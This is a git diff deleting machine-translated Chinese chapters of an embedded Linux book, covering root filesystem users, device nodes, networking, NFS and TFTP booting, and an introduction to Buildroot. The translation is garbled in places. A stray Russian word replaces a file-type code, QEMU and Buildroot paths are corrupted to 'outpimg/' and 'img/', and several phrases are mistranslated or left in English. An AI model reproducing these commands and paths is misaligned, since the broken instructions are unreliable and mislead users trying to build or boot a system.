-daemon:*:10933:0:99999:7::: -``` - -前两个字段是用户名和密码散列。 其余七个字段与密码老化有关,这在嵌入式设备上通常不是问题。 如果您对全部细节感兴趣,请参考`shadow(5)`的手册页。 - -在本例中,`root`的密码为空,这意味着 root 用户无需提供密码即可登录。 为`root`设置空密码在开发过程中很有用,但在生产过程中并不有用。 您可以通过在目标系统上运行`passwd`命令来生成或更改密码散列,这将向`/etc/shadow`写入一个新的散列。 如果希望所有后续根文件系统都使用相同的密码,可以将此文件复制回临时目录。 - -组名在`/etc/group`中的存储方式类似。 每组有一行,由冒号分隔的四个字段组成。 字段如下: - -* 组的名称 -* 群密码,通常为`x`字符,表示没有 - 群密码 -* GID 或组 ID -* 属于此组的可选用户列表,用逗号分隔 - -下面是一个例子: - -```sh -root:x:0: -daemon:x:1: -``` - -现在我们已经了解了如何配置用户帐户,让我们看看如何将其添加到根文件系统。 - -## 向根文件系统添加用户帐户 - -首先,您必须将文件`etc/passwd`、`etc/shadow`和`etc/group`添加到您的临时目录中,如上一节所示。 确保`etc/shadow`的权限为`0600`。 接下来,您需要通过启动一个名为`getty`的程序来启动登录过程。 BusyBox 中有一个版本的`getty`。 您可以使用关键字`respawn`从`inittab`启动它,该关键字在终止登录 shell 时重新启动`getty`。 您的`inittab`应如下所示: - -```sh -::sysinit:/etc/init.d/rcS -::respawn:/sbin/getty 115200 console -``` - -然后,重建内存磁盘并像以前一样使用 QEMU 或 Beaglebone Black 进行测试。 - -在本章的前面部分,我们学习了如何使用`mknod`命令创建设备节点。 现在,让我们看一下创建设备节点的一些更简单的方法。 - -# 更好的设备节点管理方式 - -使用`mknod`静态创建设备节点是一项相当繁重且不灵活的工作。 还可以通过其他方式按需自动创建设备节点: - -* `devtmpfs`:这是您在引导时通过`/dev`挂载的伪文件系统。 - 内核使用内核当前知道的所有设备的设备节点填充它,并在运行时检测到新设备时为其创建节点。 节点归`root`所有,默认权限为`0600`。 一些众所周知的设备节点(如`/dev/null`和`/dev/random`)会将缺省值覆盖为`0666`。 要确切了解这是如何完成的,请查看 Linux 源文件`drivers/char/mem.c`,看看`struct memdev`是如何初始化的。 -* `mdev`:这是一个 BusyBox 小程序,用于使用设备节点填充目录并根据需要创建新节点。 有一个配置文件`/etc/mdev.conf`,它包含有关节点所有权和模式的规则。 -* `udev`: This is the mainstream equivalent of `mdev`. You will find it on desktop Linux and in some embedded devices. It is very flexible and a good choice for higher-end embedded devices. It is now part of `systemd`. - - 重要音符 - - 虽然`mdev`和`udev`都是自己创建设备节点,但是让`devtmpfs`来完成这项工作并使用`mdev`/`udev`作为顶层来实现设置所有权和权限的策略会更容易一些。 `devtmpfs`方法是在用户空间启动之前生成设备节点的唯一可维护方式。 - -让我们看一些使用这些工具的示例。 - -## 使用 devtmpfs 的示例 - -对`devtmpfs`文件系统的支持由内核配置变量`CONFIG_DEVTMPFS`控制。 在 ARM Versatile PB 的默认配置中没有启用,因此如果您想要使用此目标来尝试以下功能,则必须返回到内核配置并启用此选项。 尝试使用`devtmpfs`非常简单,只需输入以下命令: - -```sh -# mount -t devtmpfs devtmpfs /dev -``` - -之后,您会注意到在`/dev`中有更多的设备节点。 要获得永久修复,请将以下内容添加到`/etc/init.d/rcS`: - -```sh -#!/bin/sh -mount -t proc proc /proc -mount -t sysfs sysfs /sys -mount -t devtmpfs devtmpfs /dev -``` - -如果在内核配置中启用`CONFIG_DEVTMPFS_MOUNT`,内核将在挂载根文件系统后立即自动挂载`devtmpfs`。 但是,此选项在引导`initramfs`时不起作用,就像我们在这里所做的那样。 - -## 使用 mdev 的示例 - -虽然`mdev`的设置有点复杂,但它确实允许您在创建设备节点时修改它们的权限。 首先运行带有`-s`选项的`mdev`,这会导致它扫描`/sys`目录,查找有关当前设备的信息。 根据该信息,它使用相应的节点填充`/dev`目录。 如果您希望跟踪新设备上线并为其创建节点,则需要通过写入`/proc/sys/kernel/hotplug`使`mdev`成为热插拔客户端。 `/etc/init.d/rcS`的这些新增功能将实现所有这些功能: - -```sh -#!/bin/sh -mount -t proc proc /proc -mount -t sysfs sysfs /sys -mount -t devtmpfs devtmpfs /dev -echo /sbin/mdev > /proc/sys/kernel/hotplug -mdev -s -``` - -默认模式为`660`,所有权为`root:root`。 您可以通过在`/etc/mdev.conf`中添加规则来更改此设置。 例如,要赋予`null`、`random`和`urandom`设备正确的模式,您可以将以下内容添加到`/etc/mdev.conf`: - -```sh -null root:root 666 -random root:root 444 -urandom root:root 444 -``` - -该格式记录在`docs/mdev.txt`中的 BusyBox 源代码中,在名为`examples`的目录中还有更多示例。 - -## 静态设备节点到底有那么糟糕吗? - -与运行设备管理器相比,静态创建的设备节点确实有一个优势:它们在引导过程中不需要任何时间来创建。 如果最大限度地减少引导时间是当务之急,那么使用静态创建的设备节点将节省相当多的时间。 - -检测到设备并创建其节点后,启动顺序的下一步通常是配置网络。 - -# 配置网络 - -接下来,让我们看看一些基本的网络配置,以便我们可以与外部世界通信。 我是,假设有一个以太网接口`eth0`,并且我们只需要一个简单的 IPv4 配置。 - -这些示例使用 BusyBox 中的网络实用程序,它们对于使用旧而可靠的`ifup`和`ifdown`程序的简单用例来说已经足够了。 您可以阅读这两个版本的手册页以了解详细信息。 主网络配置存储在`/etc/network/interfaces`中。 您需要在临时目录中创建以下目录: - -```sh -etc/network -etc/network/if-pre-up.d -etc/network/if-up.d -var/run -``` - -对于静态 IP 地址,`/etc/network/interfaces`如下所示: - -```sh -auto lo -iface lo inet loopback -auto eth0 -iface eth0 inet static -    address 192.168.1.101 -    netmask 255.255.255.0 -    network 192.168.1.0 -``` - -对于使用 DHCP 分配的动态 IP 地址,`/etc/network/interfaces`如下所示: - -```sh -auto lo -iface lo inet loopback -auto eth0 -iface eth0 inet dhcp -``` - -您还必须配置 DHCP 客户端程序。 BusyBox 有一个名为`udchpcd`的。 它需要一个应该放在`/usr/share/udhcpc/default.script`中的 shell 脚本。 在`examples/udhcp/simple.script`目录中的 BusyBox 源代码中有一个合适的默认值。 - -## Glibc 的网络组件 - -`glibc`使用称为**名称服务开关**(**NSS**)的机制来控制将名称解析为网络和用户编号的方式。 例如,用户名可以通过文件`/etc/passwd`解析为 UID,而诸如 HTTP 之类的网络服务可以通过`/etc/services`解析为服务端口号。 所有这些都是由`/etc/nsswitch.conf`配置的;有关详细信息,请参阅手册页`nss(5)`。 下面是一个简单的示例,它可以满足大多数嵌入式 Linux 实现的需要: - -```sh -passwd:    files -group:     files -shadow:    files -hosts:     files dns -networks:  files -protocols: files -services:  files -``` - -除了主机名以外,所有内容都由`/etc`中相应命名的文件解析,如果它们不在`/etc/hosts`中,还可以通过 DNS 查找来解析。 - -要实现这一点,您需要用这些文件填充`/etc`。 所有 Linux 系统上的网络、协议和服务都是相同的,因此可以从您的开发 PC 中的`/etc`复制它们。 `/etc/hosts`至少应包含环回地址: - -```sh -127.0.0.1 localhost -``` - -前面在*配置用户帐户*部分描述了其他文件`passwd`、`group`和`shadow`。 - -拼图的最后一块是执行名称解析的库。 它们是根据`nsswitch.conf`的内容根据需要加载的插件,这意味着如果使用`readelf`或`ldd`,它们不会显示为依赖项。 您只需从工具链的`sysroot`复制它们: - -```sh -$ cd ~/rootfs -$ cp -a $SYSROOT/lib/libnss* lib -$ cp -a $SYSROOT/lib/libresolv* lib -``` - -我们的临时目录现在已经完成,所以让我们从它生成一个文件系统。 - -# 使用设备表创建文件系统映像 - -我们在前面的*创建引导 initramfs*一节中看到,内核有一个使用设备表创建`initramfs`的选项。 设备表非常有用,因为它们允许非 root 用户创建设备节点,并将任意 UID 和 GID 值分配给任何文件或目录。 同样的概念也应用于创建其他文件系统映像格式的工具,如文件系统格式到工具的映射所示: - -* `jffs2`:`mkfs.jffs2` -* `ubifs`:`mkfs:ubifs` -* `ext2`:`genext2fs` - -当我们查看闪存的文件系统时,我们将查看[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*中的`jffs2`和`ubifs`。 第三,`ext2`是通常用于管理包括 SD 卡的 d 闪存的格式。 下面的示例使用`ext2`创建可以复制到 SD 卡的磁盘映像。 - -要开始,您需要在主机上安装`genext2fs`工具。 在 Ubuntu 上,要安装的程序包名为`genext2fs`: - -```sh -$ sudo apt install genext2fs -``` - -`genext2fs`取` `格式的设备表文件,各字段含义如下: - -* `name`: -* `type`: One of the following: - - `f`:常规文件 - - Колибри:一个目录 - - `c`:字符专用设备文件 - - `b`:块专用设备文件 - - `p`:FIFO(命名管道) - -* `uid`:文件的 UID -* `gid`:文件的 GID -* `major`和`minor`:设备号(仅限设备节点) -* `start`、`inc`和`count`:允许您从 Start 中的次要编号开始创建一组设备节点(仅限设备节点) - -您不必指定每个文件,就像您对内核`initramfs`表所做的那样。 您只需指向一个目录-临时目录-并列出需要在最终文件系统映像中进行的更改和例外。 - -下面是一个为我们填充静态设备节点的简单示例: - -```sh -/dev d 755 0 0 - - - - - -/dev/null c 666 0 0 1 3 0 0 - -/dev/console c 600 0 0 5 1 0 0 - -/dev/ttyO0 c 600 0 0 252 0 0 0 - -``` - -然后,您可以使用`genext2fs`生成一个 4MB 的文件系统映像(即 4096 个默认大小的块,1024 字节): - -```sh -$ genext2fs -b 4096 -d rootfs -D device-table.txt -U rootfs.ext2 -``` - -现在,您可以将生成的图像`rootfs.ext2`复制到 SD 卡或类似的卡中,这是我们下一步要做的。 - -## 启动 Beaglebone Black - -名为`MELP/format-sdcard.sh`的脚本在 microSD 卡上创建了两个分区:一个用于引导文件,另一个用于根文件系统。 假设您已经按照上一节所示创建了根文件系统映像,您可以使用`dd`命令将其写入第二个分区。 像往常一样,在将文件直接复制到这样的存储设备时,请绝对确保您知道哪张是 microSD 卡。 在本例中,我使用的是内置读卡器,即名为`/dev/mmcblk0`的设备,因此命令如下所示: - -```sh -$ sudo dd if=rootfs.ext2 of=/dev/mmcblk0p2 -``` - -请注意,主机系统上的读卡器可能有不同的名称。 - -然后,将 microSD 卡插入 Beaglebone Black,并将内核命令行设置为`root=/dev/mmcblk0p2`。 U-Boot 命令的完整序列如下: - -```sh -fatload mmc 0:1 0x80200000 zImage -fatload mmc 0:1 0x80f00000 am335x-boneblack.dtb -setenv bootargs console=ttyO0,115200 root=/dev/mmcblk0p2 -bootz 0x80200000 – 0x80f00000 -``` - -这是一个从普通块设备(如 SD 卡)挂载文件系统的示例。 同样的原则也适用于其他文件系统类型,我们将在[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*中更详细地介绍这些原则。 - -# 使用 NFS 挂载根文件系统 - -如果您的设备有网络接口,在开发期间通过网络挂载根文件系统通常很有用。 它允许您访问主机上几乎无限的存储空间,因此您可以添加调试工具和具有大型符号表的可执行文件。 作为额外的好处,在开发机器上对根文件系统所做的更新可以立即在目标系统上使用。 您还可以从主机访问目标的所有日志文件。 - -首先,您需要在主机上安装和配置 NFS 服务器。 在 Ubuntu 上,要安装的包名为`nfs-kernel-server`: - -```sh -$ sudo apt install nfs-kernel-server -``` - -NFS 服务器需要被告知哪些目录正在被导出到网络;这由`/etc/exports`控制。 每个导出对应一行。 格式在手册页`exports(5)`中进行了说明。 例如,要导出我主机上的根文件系统,我具有以下内容: - -```sh -/home/chris/rootfs *(rw,sync,no_subtree_check,no_root_squash) -``` - -`*`将目录导出到我的本地网络上的任何地址。 如果您愿意,您可以在此时提供单个 IP 地址或范围。 下面是括在圆括号中的选项列表。 在`*`和左括号之间不能有任何空格。 以下是选项: - -* `rw`:这将以读写方式导出目录。 -* `sync`:此选项选择 NFS 协议的同步版本,它比`async`选项更健壮,但速度稍慢。 -* `no_subtree_check`:此选项禁用子树检查,这会带来轻微的安全隐患,但在某些情况下可以提高可靠性。 -* `no_root_squash`:此选项允许处理来自用户 ID`0`的请求,而不会挤压到其他用户 ID。有必要允许目标正确访问`root`拥有的文件。 - -对`/etc/exports`进行更改后,重新启动 NFS 服务器以应用它们。 - -现在,您需要设置目标以通过 NFS 挂载根文件系统。 为此,您的内核必须使用`CONFIG_ROOT_NFS`配置。 然后,您可以将 Linux 配置为在引导时挂载,方法是将以下内容添加到内核命令行: - -```sh -root=/dev/nfs rw nfsroot=: ip= -``` - -选项如下: - -* `rw`:这会以读写方式挂载根文件系统。 -* `nfsroot`:指定主机的 IP 地址,后跟导出的根文件系统的路径。 -* `ip`: This is the IP address to be assigned to the target. Usually, network addresses are assigned at runtime, as we have seen in the *Configuring the network* section. However, in this case, the interface has to be configured before the root filesystem is mounted and `init` has been started. Hence, it is configured on the kernel command line. - - 重要音符 - - 在`Documentation/filesystems/nfs/nfsroot.txt`中有关于内核源代码中的 NFS 根挂载的更多信息。 - -接下来,让我们启动一个映像,其中包含 QEMU 上的根文件系统和 -Beaglebone Black。 - -## 使用 QEMU 进行测试 - -下面的脚本使用一对静态 IPv4 地址在主机上的名为`tap0`的网络设备和目标上的`eth0`之间创建一个虚拟网络,然后使用参数启动 QEMU,以将`tap0`用作模拟接口。 - -您需要将根文件系统的路径更改为分段目录的完整路径,如果 IP 地址与您的网络配置冲突,则可能还需要更改 IP 地址: - -```sh -#!/bin/bash -KERNEL=zImage -DTB=versatile-pb.dtb -ROOTDIR=/home/chris/rootfs -HOST_IP=192.168.1.1 -TARGET_IP=192.168.1.101 -NET_NUMBER=192.168.1.0 -NET_MASK=255.255.255.0 -sudo tunctl -u $(whoami) -t tap0 -sudo ifconfig tap0 ${HOST_IP} -sudo route add -net ${NET_NUMBER} netmask ${NET_MASK} dev tap0 -sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward" -QEMU_AUDIO_DRV=none \ -qemu-system-arm -m 256M -nographic -M versatilepb -kernel ${KERNEL} -append "console=ttyAMA0,115200 root=/dev/nfs rw nfsroot=${HOST_IP}:${ROOTDIR} ip=${TARGET_IP}" -dtb ${DTB} -net nic -net tap,ifname=tap0,script=no -``` - -脚本在`MELP/Chapter05/run-qemu-nfsroot.sh`中可用。 - -它应该像以前一样引导,现在直接通过 NFS 导出使用临时目录。 您在该目录中创建的任何文件将立即对目标设备可见,并且在该设备中创建的任何文件将对开发 PC 可见。 - -## 使用 Beaglebone Black 进行测试 - -以类似的方式,您可以在 -Beaglebone Black 的 U-Boot 提示符下输入以下命令: - -```sh -setenv serverip 192.168.1.1 -setenv ipaddr 192.168.1.101 -setenv npath [path to staging directory] -setenv bootargs console=ttyO0,115200 root=/dev/nfs rw nfsroot=${serverip}:${npath} ip=${ipaddr} -fatload mmc 0:1 0x80200000 zImage -fatload mmc 0:1 0x80f00000 am335x-boneblack.dtb -bootz 0x80200000 - 0x80f00000 -``` - -在`MELP/Chapter05/uEnv.txt`中有一个 U-Boot 环境文件,其中包含所有这些命令。 只需将其复制到 microSD 卡的引导分区,U-Boot 将完成其余工作。 - -## 文件权限问题 - -您复制到转移目录中的文件将归您登录的用户的 UID 所有,通常为`1000`。 但是,目标不知道该用户。 此外,目标创建的任何文件都将归目标配置的用户所有,通常是`root`用户。 整件事一团糟。 不幸的是,没有简单的出路。 最佳解决方案是使用`sudo chown -R 0:0 *`命令复制临时目录,并将所有权更改为 UID,将 GID 更改为`0`。 然后,将此目录导出为 NFS 挂载。 它消除了仅在开发系统和目标系统之间共享根文件系统的一个副本的便利性,但至少文件所有权将是正确的。 - -在嵌入式 Linux 中,将设备驱动程序静态链接到内核而不是在运行时将其作为模块从根文件系统动态加载的情况并不少见。 那么,在修改内核源代码或 DBS 时,我们如何从 NFS 提供的快速迭代中获得同样的好处呢? 答案是 TFTP。 - -# 使用 TFTP 加载内核 - -既然我们已经了解了如何使用 NFS 通过网络挂载根文件系统,您可能会想知道是否有办法通过网络加载内核、设备树和`initramfs`。 如果我们可以这样做,那么唯一需要写入目标存储的组件就是引导加载器。 其他一切都可以从主机加载。 这将节省时间,因为您不需要不断刷新目标,甚至可以在闪存驱动程序仍在开发的情况下完成工作(这种情况正在发生)。 - -**普通文件传输协议**(**TFTP**)就是这个问题的答案。 TFTP 是一种非常简单的文件传输协议,旨在易于在 U-Boot 等引导加载程序中实现。 - -首先,您需要在主机上安装 TFTP 守护程序。 在 Ubuntu 上,要安装的包名为`tftpd-hpa`: - -```sh -$ sudo apt install tftpd-hpa -``` - -默认情况下,`tftpd-hpa`授予对`/var/lib/tftpboot`目录中文件的只读访问权限。 安装并运行`tftpd-hpa`后,将想要复制到目标的文件复制到`/var/lib/tftpboot`中,对于 Beaglebone Black,它将是`zImage`和`am335x-boneblack.dtb`。 然后在 U-Boot 命令提示符下输入以下命令: - -```sh -setenv serverip 192.168.1.1 -setenv ipaddr 192.168.1.101 -tftpboot 0x80200000 zImage -tftpboot 0x80f00000 am335x-boneblack.dtb -setenv npath [path to staging] -setenv bootargs console=ttyO0,115200 root=/dev/nfs rw nfsroot=${serverip}:${npath} ip=${ipaddr} -bootz 0x80200000 - 0x80f00000 -``` - -您可能会发现`tftpboot`命令挂起,不停地打印字母`T`,这意味着 TFTP 请求超时。 发生这种情况的原因有很多,最常见的原因如下: - -* `serverip`的 IP 地址不正确。 -* 服务器上没有运行 TFTP 守护程序。 -* 服务器上存在阻止 TFTP 协议的防火墙。 默认情况下,大多数防火墙确实会阻止 TFTP 端口`69`。 - -一旦您解决了问题,U-Boot 就可以从主机加载文件并以通常的方式引导。 您可以通过将命令放入`uEnv.txt`文件来自动执行该过程。 - -# 摘要 - -Linux 的优势之一是它可以支持广泛的根文件系统,因此可以进行定制以满足广泛的需求。 我们已经看到,可以使用少量组件手动构建简单的根文件系统,BusyBox 在这方面特别有用。 通过一步一步地完成这个过程,它让我们深入了解了 Linux 系统的一些基本工作原理,包括网络配置和用户帐户。 然而,随着设备变得越来越复杂,这项任务很快就变得难以管理。 而且,人们一直担心在执行过程中可能存在我们没有注意到的安全漏洞。 - -在下一章中,我将向您展示如何使用嵌入式构建系统使 -创建嵌入式 Linux 系统的过程更加容易和可靠。 我将从 Buildroot 开始,然后看看更复杂但功能更强大的 Yocto 项目。 - -# 进一步阅读 - -* *文件系统层次标准*,*版本 3.0*-[HTTPS://refspecs.linuxoundation.org/fhs.shtml](https://refspecs.linuxfoundation.org/fhs.shtml) -* *ramfs,rootfs and initramfs*,Rob Landley,它是`Documentation/filesystems/ramfs-rootfs-initramfs.txt`中 Linux 源代码的一部分 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/06.md b/docs/master-emb-linux-prog/06.md deleted file mode 100644 index 332016f7..00000000 --- a/docs/master-emb-linux-prog/06.md +++ /dev/null @@ -1,979 +0,0 @@ -# 六、选择构建系统 - -在前面的章节中,我们介绍了嵌入式 Linux 的四个要素,并逐步向您展示了如何构建工具链、引导加载程序、内核和根文件系统,然后将它们组合到一个基本的嵌入式 Linux 系统中。 而且还有很多台阶呢! 现在,是时候考虑通过尽可能使其自动化来简化这一过程的方法了。 我们将了解嵌入式构建系统如何提供帮助,并特别介绍其中的两个:Buildroot 和 Yocto 项目。 两者都是复杂而灵活的工具,需要一整本书才能完整地描述它们是如何工作的。 在本章中,我只想向您展示构建系统背后的一般概念。 我将向您展示如何构建一个简单的设备映像以获得系统的整体感觉,然后如何使用前几章中的 Nova 板示例以及 Raspberry PI 4 进行一些有用的更改。 - -在本章中,我们将介绍以下主题: - -* 比较构建系统 -* 分发二进制文件 -* Buildroot 简介 -* Yocto 项目简介 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 至少具有 60 GB 可用磁盘空间的基于 Linux 的主机系统 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 -* 用于网络连接的以太网电缆和端口 -* ♪Beaglebone Black♪ -* 5V 1A 直流电源 - -本章的所有代码都可以在本书 GitHub 存储库的`Chapter06`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 比较构建系统 - -我在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中将手动创建系统的过程描述为**滚动自己的**(**Ryo**)过程。 它的优点是您可以完全控制软件,并且您可以定制它来做任何您喜欢的事情。 如果你想要它做一些真正奇特但有创意的事情,或者如果你想把内存占用空间减少到尽可能小的大小,Ryo 是个不错的选择。 但是,在绝大多数情况下,手动构建是浪费时间,并且会产生劣质的、不可维护的系统。 - -构建系统的想法是自动执行到目前为止我已经描述的所有步骤。 -构建系统应该能够从上游源代码构建以下部分或全部 -: - -* 工具链 -* 引导加载程序 -* 一个内核 -* 根文件系统 - -从上游源代码构建非常重要,原因有很多。 这意味着您可以在任何时候进行重建,而不需要外部依赖,这意味着您可以高枕无忧。 这还意味着您拥有用于调试的源代码,而且您还可以满足许可证要求,在必要时将代码分发给用户。 - -因此,要完成其工作,构建系统必须能够执行以下操作: - -1. 从上游下载源代码,可以直接从源代码控制系统下载,也可以作为存档下载,并在本地缓存。 -2. 应用补丁程序以启用交叉编译、修复依赖于体系结构的错误、应用本地配置策略等。 -3. 构建各种组件。 -4. 创建临时区域并组装根文件系统。 -5. 创建各种格式的图像文件,准备加载到目标上。 - -其他有用的东西如下: - -1. 添加您自己的包,例如包含应用或内核更改的包。 -2. 选择各种根文件系统配置文件:大或小,带或不带图形或其他功能。 -3. 创建一个独立的 SDK,您可以将其分发给其他开发人员,这样他们就不必安装完整的构建系统。 -4. 跟踪您 - 选择的各种包使用哪些开源许可证。 -5. 具有用户友好的用户界面。 - -在所有情况下,它们都将系统组件封装到包中,一些用于主机,另一些用于目标。 每个包都由一组规则定义,以获取源代码、构建源代码并将结果安装到正确的位置。 包与构建机制之间存在依赖关系,以解决依赖关系并构建所需的包集。 - -在过去的几年中,开源构建系统已经相当成熟。 周围有很多网站,包括以下几个: - -* **Buildroot**:这是一个使用 GNU make 和 KCONFIG - ([https://buildroot.org](https://buildroot.org))的易于使用的系统。 -* **EmbToolkit**:这是一个用于生成根文件系统和 - 工具链的简单系统,也是到目前为止唯一支持 LLVM/https://www.embtoolkit.org 的系统([embToolkit](https://www.embtoolkit.org))。 -* **OpenEmbedded**:这是一个强大的系统,也是 Yocto 项目和其他项目([https://openembedded.org](https://openembedded.org))的核心组件。 -* **OpenWRT**:这是一个构建工具,面向无线路由器([https://openwrt.org](https://openwrt.org))构建固件,支持开箱即用的运行时包管理。 -* **PTXdist**:这是一个由 Penguconix([https://www.ptxdist.org](https://www.ptxdist.org))发起的开源构建系统。 -* **Yocto 项目**:这个用元数据、工具和文档扩展了 OpenEmbedded 核心,可能是最流行的系统([https://www.yoctoproject.org](https://www.yoctoproject.org))。 - -我将把集中在其中的两个项目上:Buildroot 和 Yocto 项目。 他们处理问题的方式不同,目标也不同。 - -Buildroot 的主要目的是构建根文件系统映像,因此得名,尽管它可以构建引导加载程序和内核映像以及工具链。 它易于安装和配置,并可快速生成目标映像。 - -另一方面,Yocto 项目在定义目标系统的方式上更为通用,因此它可以构建复杂的嵌入式设备。 默认情况下,使用 RPM 格式将每个组件生成为二进制包,然后组合这些包以生成文件系统映像。 此外,您可以在文件系统映像中安装包管理器,这允许您在运行时更新包。 换句话说,当您使用 Yocto 项目构建时,实际上是在创建您自己的自定义 Linux 发行版。 请记住,启用运行时包管理还意味着提供和运行您自己的相应包存储库。 - -# 分发二进制文件 - -在大多数情况下,主流 Linux 发行版都是由 RPM 或 DEB 格式的二进制(预编译)包集合构建的。 **RPM**代表**Red Hat Package Manager**,用于 Red Hat、SuSE、Fedora 和其他基于它们的发行版 -。 Debian 和 Debian 派生的发行版,包括 Ubuntu 和 Mint,使用 -称为 DEB 的 Debian 包管理器格式。 此外,还有一种特定于嵌入式设备的轻量级格式,称为 Itsy Package Format 或 IPK,它基于 DEB。 - -在设备上包含包管理器的能力是构建系统之间最大的区别之一。 一旦目标设备上有了包管理器,您就可以轻松地将新包部署到它并更新现有包。 我将在[*第 10 章*](10.html#_idTextAnchor278),*在现场更新软件*中讨论这一点的含义。 - -# Buildroot 简介 - -Buildroot 的当前版本能够构建工具链、引导加载程序、内核和根文件系统。 它使用 GNU`Make`作为主要的构建工具。 在[Buildroot](https://buildroot.org/docs.html)有很好的在线文档,包括*https://buildroot.org/docs.html 用户手册*在[https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html)。 - -## 背景 - -Buildroot 是最早的构建系统之一。 它最初是 uClinux 和 uClibc 项目的一部分,是生成用于测试的小型根文件系统的一种方式。 它在 2001 年末成为一个独立的项目,并持续发展到 2006 年,之后它进入了一个相当休眠的阶段。 然而,自 2009 年 Peter Korsgaard 接手管理工作以来,它一直在快速发展,增加了对基于 Glibc 的工具链的支持,并且大大增加了软件包和目标板的数量。 - -有趣的是,Buildroot 也是另一个流行的构建系统 OpenWRT([http://wiki.openwrt.org](http://wiki.openwrt.org))的祖先,OpenWRT 大约在 2004 年从 Buildroot 派生而来。 OpenWRT 的主要关注点是为无线路由器生产软件,因此软件包组合面向网络基础设施。 它还有一个使用 IPK 格式的运行时包管理器,因此无需完全刷新映像即可更新或升级设备。 然而,Buildroot 和 OpenWRT 的分歧如此之大,以至于它们现在几乎是完全不同的构建系统。 用其中一种方法构建的包与另一种方法不兼容。 - -## 稳定发布,长期支持 - -Buildroot 开发人员每年生成四次稳定版本,分别是 2 月、5 月、8 月和 11 月。 它们由形式为`.02`、`.05`、`.08`和`.11`的 Git 标记。 从时不时地,发布被标记为**长期支持**(**LTS**),这意味着在初始发布之后的 12 个月内,将有修复安全和其他重要错误的点发布。 `2017.02`版本是第一个收到 LTS 标签的版本。 - -## 安装 - -通常,您可以通过克隆存储库或下载归档文件来安装 Buildroot。 下面是获取版本`2020.02.9`的示例,该版本在撰写本文时是最新的稳定版本: - -```sh -$ git clone git://git.buildroot.net/buildroot -b 2020.02.9 -$ cd buildroot -``` - -在[https://buildroot.org/downloads](https://buildroot.org/downloads)上可以找到等效的 TAR 归档文件。 - -接下来,您应该阅读*Buildroot 用户手册*的*系统要求*部分,该部分位于[https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html),并确保您已经安装了那里列出的所有软件包。 - -## 配置 - -Buildroot 使用内核 Kconfig/Kbuild 机制,我在[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*的*了解内核配置*一节中进行了描述。 您可以直接使用`make menuconfig`(`xconfig`或`gconfig`)从头开始配置 Buildroot,也可以为各种开发板和 QEMU 仿真器选择 100 多种配置之一,这些配置存储在`configs/`目录中。 键入`make list-defconfigs`列出所有默认配置。 - -让我们首先构建一个可以在 ARM -QEMU 仿真器上运行的默认配置: - -```sh -$ cd buildroot -$ make qemu_arm_versatile_defconfig -$ make -``` - -重要音符 - -您不能告诉`make`使用`-j`选项要运行多少并行作业:Buildroot 将自动优化您的 CPU 的使用。 如果要限制作业数量,可以运行`make menuconfig`并查看构建选项。 - -构建将花费半小时到一小时或更长时间,这取决于您主机系统的能力和您连接到互联网的速度。 它将下载大约 220MiB 的代码,并消耗大约 3.5GiB 的磁盘空间。 完成后,您会发现已经创建了两个新目录: - -* `dl/`:其中包含 Buildroot 已构建的上游项目的档案。 -* `output/`:它包含所有中间和最终编译资源。 - -您将在`output/`中看到以下内容: - -* `build/`:在这里,您可以找到每个组件的构建目录。 -* `host/`:它包含在主机上运行的 Buildroot 所需的各种工具,包括工具链的可执行文件(在`output/host/usr/bin`中)。 -* `img/`:这是最重要的,因为它包含构建的结果。 根据您在配置时选择的内容,您将找到一个引导加载程序、一个内核以及一个或多个根文件系统映像。 -* `staging/`:这是指向工具链的`sysroot`的符号链接。 链接的名称有点令人困惑,因为它没有指向临时区域,正如我在[*第 5 章*](05.html#_idTextAnchor122),*构建根文件系统*中定义的那样。 -* `target/`:这是`root`目录的临时区域。 请注意,目前您不能将其用作根文件系统,因为文件所有权和权限设置不正确。 Buildroot 使用设备表(如上一章所述)在`img/`目录中创建文件系统映像时设置所有权和权限。 - -## 运行 - -某些示例配置在`board/`目录中有相应的条目,其中包含自定义配置文件和有关在目标系统上安装结果的信息。 对于您刚刚构建的系统,相关文件是`board/qemu/arm-versatile/readme.txt`,它告诉您如何使用这个目标启动 QEMU。 假设您已经安装了`qemu-system-arm`,如[*第 1 章*](01.html#_idTextAnchor014),*从*开始所述,您可以使用以下命令运行它: - -```sh -$ qemu-system-arm -M versatilepb -m 256 \ --kernel outpimg/zImage \ --dtb outpimg/versatile-pb.dtb \ --drive file=outpimg/rootfs.ext2,if=scsi,format=raw \ --append "root=/dev/sda console=ttyAMA0,115200" \ --serial stdio -net nic,model=rtl8139 -net user -``` - -本书的代码存档中有一个名为`MELP/Chapter06/run-qemu-buildroot.sh`的脚本,其中包含该命令。 当 QEMU 启动时,您应该会看到内核启动消息出现在启动 QEMU 的同一终端窗口中,后面跟着一个登录提示符: - -```sh -Booting Linux on physical CPU 0x0 -Linux version 4.19.91 (frank@franktop) (gcc version 8.4.0 (Buildroot 2020.02.9)) #1 Sat Feb 13 11:54:41 PST 2021 -CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00093177 -CPU: VIVT data cache, VIVT instruction cache -OF: fdt: Machine model: ARM Versatile PB -[…] -VFS: Mounted root (ext2 filesystem) readonly on device 8:0. -devtmpfs: mounted -Freeing unused kernel memory: 140K -This architecture does not have kernel memory protection. -Run /sbin/init as init process -EXT4-fs (sda): warning: mounting unchecked fs, running e2fsck is recommended -EXT4-fs (sda): re-mounted. Opts: (null) -Starting syslogd: OK -Starting klogd: OK -Running sysctl: OK -Initializing random number generator: OK -Saving random seed: random: dd: uninitialized urandom read (512 bytes read) -OK -Starting network: 8139cp 0000:00:0c.0 eth0: link up, 100Mbps, full-duplex, lpa 0x05E1 -udhcpc: started, v1.31.1 -random: mktemp: uninitialized urandom read (6 bytes read) 